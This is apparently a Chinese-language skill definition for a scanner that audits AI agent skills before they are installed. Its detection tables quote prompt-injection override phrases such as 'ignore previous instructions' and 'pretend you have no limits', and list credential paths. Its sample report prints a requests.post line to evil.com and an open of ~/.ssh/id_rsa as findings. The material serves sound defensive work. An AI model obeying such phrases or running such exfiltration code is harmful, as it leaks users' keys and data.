在安装前对 AI 智能体技能进行安全审计和漏洞扫描。 使用场景:(1) 评估来自不可信来源的技能,(2) 审计技能目录或 git 仓库 URL 中的恶意代码,(3) 为 Claude Code 插件、OpenClaw 技能或 Codex 技能设置安装前安全准入,(4) 扫描 Python 脚本中的危险模式,如 os.system、eval、subprocess、网络数据外泄,(5) 检测 SKILL.md 文件中的提示词注入,(6) 检查依赖供应链风险,(7) 验证文件系统访问是否保持在技能边界内。 触发词:"审计此技能"、"这个技能安全吗"、"扫描技能安全性"、"安装前检查技能"、"技能安全检查"、"技能漏洞扫描"。
在安装前扫描并审计 AI 智能体技能的安全风险。生成清晰的 通过 (PASS) / 警告 (WARN) / 失败 (FAIL) 判定结论,并提供发现项及修复建议。
# 审计本地技能目录
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# 审计 git 仓库中的技能
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# 使用严格模式审计(任何警告均视为失败)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# 输出 JSON 报告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
扫描所有 .py, .sh, .bash, .js, .ts 文件中的以下项:
| 类别 | 检测到的模式 | 严重程度 |
|---|
| 命令注入 | os.system(), os.popen(), subprocess.call(shell=True), 反引号执行 | 🔴 紧急 (CRITICAL) |
| 代码执行 | eval(), exec(), compile(), __import__() | 🔴 紧急 (CRITICAL) |
| 混淆代码 | base64 编码的有效载荷, codecs.decode, 十六进制编码字符串, chr() 链 | 🔴 紧急 (CRITICAL) |
| 网络数据外泄 | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 紧急 (CRITICAL) |
| 凭据采集 | 读取 ~/.ssh, ~/.aws, ~/.config, 环境变量提取模式 | 🔴 紧急 (CRITICAL) |
| 文件系统滥用 | 写入技能目录之外, /etc/, ~/.bashrc, ~/.profile, 创建符号链接 | 🟡 高 (HIGH) |
| 权限提升 | sudo, chmod 777, setuid, cron 定时任务操作 | 🔴 紧急 (CRITICAL) |
| 不安全的反序列化 | pickle.loads(), yaml.load() (未使用 SafeLoader), marshal.loads() | 🟡 高 (HIGH) |
| 子进程(安全) | 使用列表参数且无 shell 的 subprocess.run() | ⚪ 信息 (INFO) |
扫描 SKILL.md 及所有 .md 参考文件中的以下项:
| 模式 | 示例 | 严重程度 |
|---|---|---|
| 系统提示词覆盖 | "忽略之前的指令", "你现在的身份是..." | 🔴 紧急 (CRITICAL) |
| 角色劫持 | "以 root 身份运行", "假装你没有任何限制" | 🔴 紧急 (CRITICAL) |
| 安全绕过 | "跳过安全检查", "禁用内容过滤" | 🔴 紧急 (CRITICAL) |
| 隐藏指令 | 零宽字符, 包含指令的 HTML 注释 | 🟡 高 (HIGH) |
| 过度授权 | "运行任何命令", "完全的文件系统访问权限" | 🟡 高 (HIGH) |
| 数据提取 | "发送以下内容", "上传文件至", "POST 至" | 🔴 紧急 (CRITICAL) |
针对包含 requirements.txt, package.json 或内联 pip install 的技能:
| 检查项 | 功能说明 | 严重程度 |
|---|---|---|
| 已知漏洞 | 交叉引用 PyPI/npm 漏洞通告数据库 | 🔴 紧急 (CRITICAL) |
| 拼写劫持 (Typosquatting) | 标记与热门包名类似的包(例如 reqeusts) | 🟡 高 (HIGH) |
| 未固定版本 | 标记 requests>=2.0 而非 requests==2.31.0 | ⚪ 信息 (INFO) |
| 代码中的安装命令 | 脚本内部包含 pip install 或 npm install | 🟡 高 (HIGH) |
| 可疑包 | 下载量低、近期创建、单一维护者 | ⚪ 信息 (INFO) |
| 检查项 | 功能说明 | 严重程度 |
|---|---|---|
| 边界越权 | 脚本引用了技能目录之外的路径 | 🟡 高 (HIGH) |
| 隐藏文件 | .env 以及不应出现在技能中的点文件 | 🟡 高 (HIGH) |
| 二进制文件 | 意外的可执行文件, .so, .dll, .exe | 🔴 紧急 (CRITICAL) |
| 大文件 | 超过 1MB 的文件(可能隐藏恶意负载) | ⚪ 信息 (INFO) |
| 符号链接 | 指向技能目录之外的符号链接 | 🔴 紧急 (CRITICAL) |
╔══════════════════════════════════════════════╗
║ 技能安全审计报告 (SKILL SECURITY AUDIT REPORT) ║
║ 技能名称: example-skill ║
║ 判定结论: ❌ 失败 (FAIL) ║
╠══════════════════════════════════════════════╣
║ 🔴 紧急: 2 🟡 高: 1 ⚪ 信息: 3 ║
╚══════════════════════════════════════════════╝
🔴 紧急 [CODE-EXEC] scripts/helper.py:42
模式: eval(user_input)
风险: 来自不可信输入的任意代码执行
修复: 使用 ast.literal_eval() 或显式解析替换 eval()
🔴 紧急 [NET-EXFIL] scripts/analyzer.py:88
模式: requests.post("https://evil.com/collect", data=results)
风险: 数据外泄至外部服务器
修复: 移除出站网络调用或验证目标地址是否可信
🟡 高 [FS-BOUNDARY] scripts/scanner.py:15
模式: open(os.path.expanduser("~/.ssh/id_rsa"))
风险: 在技能作用域之外读取 SSH 私钥
修复: 移除技能目录之外的文件系统访问
⚪ 信息 [DEPS-UNPIN] requirements.txt:3
模式: requests>=2.0
风险: 未固定的依赖可能引入漏洞
修复: 固定到特定版本: requests==2.31.0
# 克隆到临时目录、审计,然后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
# GitHub Actions 步骤示例
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
# 审计目录中的所有技能
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
关于针对 AI 智能体技能的完整威胁模型、检测模式和已知攻击向量,请参阅 references/threat-model.md。
审计后若有疑问,请勿安装。请联系技能作者寻求澄清。